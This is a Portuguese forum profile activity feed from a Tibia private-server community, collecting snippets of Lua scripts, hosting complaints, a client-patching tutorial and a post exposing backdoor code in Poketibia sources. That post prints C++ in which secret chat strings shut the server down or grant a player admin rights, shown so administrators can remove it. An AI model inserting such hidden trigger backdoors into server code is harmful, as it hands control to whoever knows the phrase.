
roriscrave
Membro
-
Registro em
-
Última visita
Histórico de Curtidas
-
roriscrave recebeu reputação de XGaduX em (Resolvido)Como que resolvo esse erro?local combat = createCombatObject() setCombatParam(combat, COMBAT_PARAM_HITCOLOR, 215) setCombatParam(combat, COMBAT_PARAM_TYPE, COMBAT_FIREDAMAGE) setCombatParam(combat, COMBAT_PARAM_DISTANCEEFFECT, 253) function onGetFormulaValues(cid, level) local skill = getPlayerSkill(cid, 2) -- "2" é o ID DA SKILL local min = -((level*skill*00.1)+0) -- O DANO MINIMO DA ARMA É O LEVEL DO JOGADOR * A SKILL DO JOGADOR * 10 + 2500 local max = -((level*skill*00.1)+0) -- O DANO MINIMO DA ARMA É O LEVEL DO JOGADOR * A SKILL DO JOGADOR * 10 + 5000 return min, max end setCombatCallback(combat, CALLBACK_PARAM_SKILLVALUE, "onGetFormulaValues") function onCastSpell(cid, var) local skillmin = 20 -- MINIMO DE SKILL PRA LANÇAR A MAGIA if getPlayerSkillLevel(cid, skill) < skillmin then return doPlayerSendCancel(cid, "You must have at least ".. skillmin .." of sword skill to use this spell.") end return doCombat(cid, combat, var) end local function onCastSpell1(parameters) doCombat(parameters.cid, parameters.combat, parameters.var) end function onCastSpell(cid, var) local position1 = {x=getThingPosition(getCreatureTarget(cid)).x+1, y=getThingPosition(getCreatureTarget(cid)).y+1, z=getThingPosition(getCreatureTarget(cid)).z} local parameters = {cid = cid, var = var, combat = combat} for k = 1, 5 do addEvent(function() if isCreature(cid) then addEvent(onCastSpell1, 0, parameters) doSendMagicEffect(position1, 173) end end, 1 + ((k-1) * 300)) end return true end
-
roriscrave recebeu reputação de Lurk em No Damage Party Systemnao testei, mas se alguem quiser testar, tente assim
function onCombat(cid, target) if isPlayer(target) == TRUE then if ((isInParty(target) and isInParty(cid)) and (getPlayerParty(cid) == getPlayerParty(target))) then if(getConfigValue("noDamageToPartyMembers")) then return false end end end return true end -
roriscrave recebeu reputação de luanluciano93 em Recomendações VPS'Hospdagem.Mais como saber qual usar é também saber qual NÃO USAR.
Sou cliente da ServerCore desde 2013, e assim eles me trataram hoje, não recomendo a empresa e vou migrar dela, como eles mesmos pediram para que eu fizesse.
3 dias para verificar o pagamento e extremamente arrogante.
edit: meu pagamento foi aprovado no dia 10, e dia 29 ainda não tinha sido resolvido.
Não estou mostrando meu nome nem IP para preservação da privacidade.
-
roriscrave recebeu reputação de Spooky Ghost em Recomendações VPS'Hospdagem.Mais como saber qual usar é também saber qual NÃO USAR.
Sou cliente da ServerCore desde 2013, e assim eles me trataram hoje, não recomendo a empresa e vou migrar dela, como eles mesmos pediram para que eu fizesse.
3 dias para verificar o pagamento e extremamente arrogante.
edit: meu pagamento foi aprovado no dia 10, e dia 29 ainda não tinha sido resolvido.
Não estou mostrando meu nome nem IP para preservação da privacidade.
-
roriscrave recebeu reputação de ArielZeRah em Recomendações VPS'Hospdagem.Mais como saber qual usar é também saber qual NÃO USAR.
Sou cliente da ServerCore desde 2013, e assim eles me trataram hoje, não recomendo a empresa e vou migrar dela, como eles mesmos pediram para que eu fizesse.
3 dias para verificar o pagamento e extremamente arrogante.
edit: meu pagamento foi aprovado no dia 10, e dia 29 ainda não tinha sido resolvido.
Não estou mostrando meu nome nem IP para preservação da privacidade.
-
roriscrave recebeu reputação de Hard Dragon em (luaGetCreatureHealth)Creature not found - Errotente assim: https://hastebin.com/qifejozodi.lua
-
roriscrave recebeu reputação de Mark Ackerman em (Resolvido)Summon atacando quem o summonouvai na pasta monsters procura o monstro que vai sumonar e muda essa linha
<flag convinceable="0"/> troque por 1, ficando
<flag convinceable="1"/>
-
roriscrave deu reputação a xWhiteWolf em Sobre o ComércioVotei sim mas concordo com o Daniel. Vocês estão se afastando muito do objetivo do fórum. Eu tenho 0 visibilidade de muitas areas do fórum justamente pq tá tudo muito segmentado e as coisas que realmente eram para serem segmentadas estão todas juntas.
To a anos aqui e pelo menos da parte de scripting acredito q eu seja o que tem maior experiencia/contato com as seções. Além disso eu devo ser um dos usuários que tem maior interação com a comunidade (principalmente via PM). Em nenhum momento vieram me perguntar o que poderia ser melhorado ou como eu acharia melhor as coisas ficarem organizadas.
Quando eu fiz parte da equipe, me frustrei profundamente com a arrogância e falta de profissionalismo: lembrem que isso é um forum de tibia, um jogo praticamente morto. Você não é ninguém por estar aqui e muito menos por ter um cargo (muito pelo contrário, há grandes chances de você ser um merda por ainda apostar nisso).
Para melhorar o forum, desçam do pedestal, peçam por mais feedback e principalmente sugestões de quem realmente usa o fórum. Se for para mexer nele só quando é cômodo é mais fácil admitir que jogou a toalha, e se vocês realmente jogaram a toalha pro TK, deem um aviso prévio pro povo salvar o conteúdo do site e fechem.
No mais, acho que tem muitas features que se tornaram completamente inúteis (alo alo conquistas, postar no perfil e outras) e acho que se vocês não tão conseguindo gerenciar o que já existe não tem pq apostar em mais coisa que vai ficar ao relento.
-
roriscrave deu reputação a xWhiteWolf em Serialize/Unserialize Strings to NumberFala rapeize, eu me propus um desafio de criar uma forma de transformar uma string em números que possam ser anexados no storage.
Basicamente isso resolve o problema dos TFS anteriores de não conseguir salvar nomes de personagens no storage sem ter que fazer source editing.
PS: É óbvio que é mais fácil fazer source editing, mas o desafio era esse e como não é todo mundo que tem source tb pode ser bastante útil.
Eu não fechei o código certinho em funções, mas pretendo fazer em breve (agora preciso dormir) e aí eu edito o tópico aqui.
Nos testes q eu fiz ele conseguiu serializar e deserializar 5 mil caracteres em 0,01 segundo o que provavelmente faz dele o melhor serializador do gênero xD
Limitações: Ele só funciona com um range bem específico de strings, se vc quiser serializar qualquer outra coisa procure um serializador na internet.
Ele é capaz de processar tudo que tá dentro do retangulo vermelho
Ele só funciona com NO MÁXIMO +- 8k de caracteres, se vc quiser mais que isso vai precisar trocar a função table.concat e talvez umas outras coisinhas
O que ele faz: Transforma qualquer texto num numero, divide esse número em espaços de 32 bits e nas posições da memória consecutivas (no exemplo eu to usando uma tabela, mas poderia ser num storage, por ex). Depois ele ainda é capaz de retornar a string original a partir do serial gerado.
Funcionamento: por incrivel q pareça a lógica é bem simples, pega o código ascii de cada caractere da string, subtrai 21 para deixar o numero menor (21 é o máximo que a gente consegue encurtar pq 32 - 21 é 11 e 127 - 21 é 106, aí se eu lê-se 10 eu não saberia dizer se é o código do espaço ou dos 5 ultimos ali da tabela)
Os storages são int_32 então o maior valor q eu consigo colocar dentro de um storage é 2^31 - 1, aí tudo q eu faço é ir pegando os 10 ultimos numeros e vendo se eles cabem dentro desse limite máximo, se não couber eu pego os 9 ultimos, até caber dentro do limite. Aí eu jogo pra tabela e contabilizo quantas vezes eu to fazendo isso (isso vai ser importante depois qnd formos inserir ou pegar do storage)
Como eu já li os lines ultimos numeros da string, eu posso retirar eles e refazer o processo até não restar mais nada.
No final dentro da tabela tb vc vai ter no i o numero q vc soma no storage e no v o valor que deve ir pro storage.
Pra deserializar o processo é parecido, primeiro eu percorro a tabela concatenando os numeros na ordem inversa e depois vou vendo 2 a 2 se o numero é menor que 11 (nosso menor código ascii que representaria o espaço, lembrando que removemos 21 para encurtar). Se ele for menor então significa que estamos lidando com um dos ultimos numeros da tabela (10X), nesse caso temos que ler 3 numeros ao invés de só 2. Depois de passar tudo pra caractere e concatenar, nos é retornado a string inicial.
Código:
Quem quiser testar é só modificar a variável entrada pra qualquer texto que vc quiser e dar run. O resultado aparece na tela a direita.
https://repl.it/repls/LongtermVioletTakin
-
roriscrave deu reputação a KotZletY em Aumentando a quantidade de effects permitida - 8.60Salve galera, recentemente um Membro postou um Tópico de como tirar o Limite de Efeitos do Old-Client(Client da Cipsfot ), só que somente para a versão 8.54, então devido ao numero de pedidos dos membros que utilizam Client na versão 8.6, resolvi criar esse Tópico ensinando a fazer isso, porém ele criou um Programa para Sobre-Escrever o Endereço, o meu Tutorial será na raça. Kkkkk Vamos nessa, a baixo citarei o Programa que iremos utilizar para essa mudança, e uns requisitos!
Informações e Requisitos!
Vamos colocar a mão na massa, abra o Debugador que faz a leita em Hexadecimal, para isso usaremos o OllyDbg, que deixarei o Link dele no final do Tópico. Após baixado abra ele. E no icone da pastinha no canto superior esquerdo, clique na pastinha e selecione O diretório do Client.
Obs: Lembre-se de deixa o Client junto com a SPR e Dat, pois irá precisa runnar o Client para ele mostrar os Endereços!
Apos ter carregado completamente, irá aparecer na metade a barra de rolagem, então suba para cima até o fim.
Feito isso de um Ctrl+S para abrir a função Find Command, e então digite essa chamada CALL 00410450 e de um enter.
OBS, lembre-se de desmarca a função Entire Block, e então achará a função, impossível dar erro, afinal só existe uma chamada como esse Code.
Depois de ter achado ela, de um Enter com a função selecionada, e irá até outro Endereço.
WTF, aja endereço nessa poxa! Kkkkk
E agora é hora da mágica, iremos mudar para Uint_16 finalmente. Kkkkkk,
Ali em baixo mais precisamente em cima dos Args, terá duas funções que você irá alterá, como mostra os próximos passos.
Click na primeira chamada, e aperte espaço ou aperte duas vezes com o botão esquerdo do mause, para que você possa alterá o endereço.
Irá vim a função CALL 004F9A60 então mude por completo para CALL 004F9C00 e click em assembly:
Agora fazemos isso na segunda função, abaixo da primeira, click duas vezes ou aperte espaço, e virá a função MOVZX EAX,AL, e então mude para
MOVZX EAX, AX e depois click em assembly:
Pronto, só isso seu Client agora passará a Ler em Uint_16 o que significa que você poderá usar até 65534 Effects no seu Old-Client, mais ainda não acabou, precisamos salvar. Após ter mudado, click com o Botão auxiliar(esquerdo) do mause, em cima em cima de uma das funções, qualquer uma, e vá em Copy to executable > All Modifications:
E depois Click em Copy All:
Irá aparecer outra janela, agora nessa nova janela, click novamente com o botão esquerdo do mause, E click em Save file e salve o Exe modificado na pasta desejada:
Pronto, seu Client foi Modificado com Sucesso, e como falei anteriormente, não esqueça de configurar seu Server em Uint_16, e ter liberado os efeitos para mais de 255, coloque quantos quiser, brincks tem um limite, de 65534, e fim, seja feliz.
Antes de mais nada vamos testa ? Veja no meu Dat, tem efeitos até 259, então irei usar o 259 para mostra que está tudo certo.
Isso ae Galera, tudo nosso nada deles. Bom Uso do Uint_16, é algo que presenciei muitos pedindo, e muitos cobrando para fazer essa Alteração, bem, ta ae, e vou nessa. E agora claro o Link do Download.
Gostaria de Informa que o Vírus Detectado, não é nada mais nada menos que um Falso-Positivo, por se tratar que Programa, faça uma Alteração Interna dentro de Outro programa. Caso você não saiba modificar a source para uint16 siga esse Tutorial aqui!
Download do OllyDbg Versão 1.10
Scan do OllyDbg Versão 1.10
Créditos: {
Breno Neves (Eu),
Fernando Prado (Parça que me passou o Ultimo endereço)
}
Peço desculpas pelos erros de Escrita nas imgs. Sorry! xD
Conteúdo Exclusivo para o Tk, não é permitido levar para outro site, blog ou fórum!
-
roriscrave deu reputação a Cat em (Doação) - Baiak Futurístico Projeto TibiakingEu estava desenvolvendo esse mapa para um amigo aqui de Floripa mas vou ser breve, ele desistiu e o mapa está incompleto.
A ideia é que seja um baiak futurístico detalhado, um mundo mágico e diferente. Poderá ser um baiak novo, disponibilizado pela nossa comunidade e que possa ser baixado por dezenas de pessoas.
Essa iniciativa tem o apoio de @Qwizer, que deu a ideia inicial. Estamos conversando sobre detalhes, esperamos manifesto de mais pessoas interessadas em se envolver com a causa.
MAIS IMAGENS NOS COMENTÁRIOS ABAIXO \/
-
roriscrave recebeu reputação de Apache em Loot de Monster, abrir corpona verdade é no config.lua. Mas o meu server é bugado, pois independende do que colocar lá, apenas quem deu last hit pode abrir:
tente modificar seu config.lua assim para ver
checkCorpseOwner = false -
roriscrave deu reputação a KotZletY em Sources 0.3.6 (8.54) e 0.4 (8.60) com limite de efeitos aumentado@roriscrave seguindo o tutorial da minha resposta anterior!
-
roriscrave deu reputação a Risoka em setCreatureName(cid, name, description)Não modifique tudo roriscrave, mude apenas "mType->nameDescription" para "nameDescription"
-
roriscrave recebeu reputação de Treyff em Evento no mostro não responde ao onKillcomo ficou sua tag no creaturescripts.xml?
-
roriscrave recebeu reputação de Saymon Kopolsky em (Resolvido)Dá algum tipo de conflito usar movement em item '"stackable" ?daria n
nao daria conflito
-
roriscrave recebeu reputação de jNo em (Resolvido)Correção em um script actionqual erro?
-
roriscrave deu reputação a xWhiteWolf em Anel de Sauroneu só queria ver a cara dos players qnd eles tivessem no meio de um pvp insano e o cara desaparecesse auhuheuhauhe
-
roriscrave deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
-
roriscrave recebeu reputação de David Otserver em Erro "Program to big to fit in memory" ao abrir o TheForgottenServernão seria falta de memoria?
-
roriscrave recebeu reputação de David Otserver em Erro "Program to big to fit in memory" ao abrir o TheForgottenServervaleu, só esqueceu de dar o gostei
-
roriscrave recebeu reputação de JHONQAP em The Forgotten Server CODEBLOCKtem um programa para isso, chama sqlite stuido, caso vc nao use site
-
roriscrave recebeu reputação de Makhai Drakon em Cmo tirar limite de players online poketibiatroque sua sources, qual base vc ta usando?
tem uma que o cara postou ela compilada com apenas 19 para entrar e nao postou os arquivos pelo que eu li por ai
-
roriscrave recebeu reputação de s0beit em preciso adicionar tabela em script!function isInteger(n) return math.floor(n) == n and true or false end function onAdvance(cid, skill, oldLevel, newLevel) if isInteger(newLevel/100) then broadcastMessage("O jogador "..getCreatureName(cid).." atingiu o level "..newLevel..".") elseif isInteger(newLevel/150) then broadcastMessage("O jogador "..getCreatureName(cid).." atingiu o level "..newLevel..".") elseif isInteger(newLevel/200) then broadcastMessage("O jogador "..getCreatureName(cid).." atingiu o level "..newLevel..".") elseif isInteger(newLevel/300) then broadcastMessage("O jogador "..getCreatureName(cid).." atingiu o level "..newLevel..".") end return true end
-
roriscrave recebeu reputação de amuraby em Erro na distroto
tente assim
configuration.lua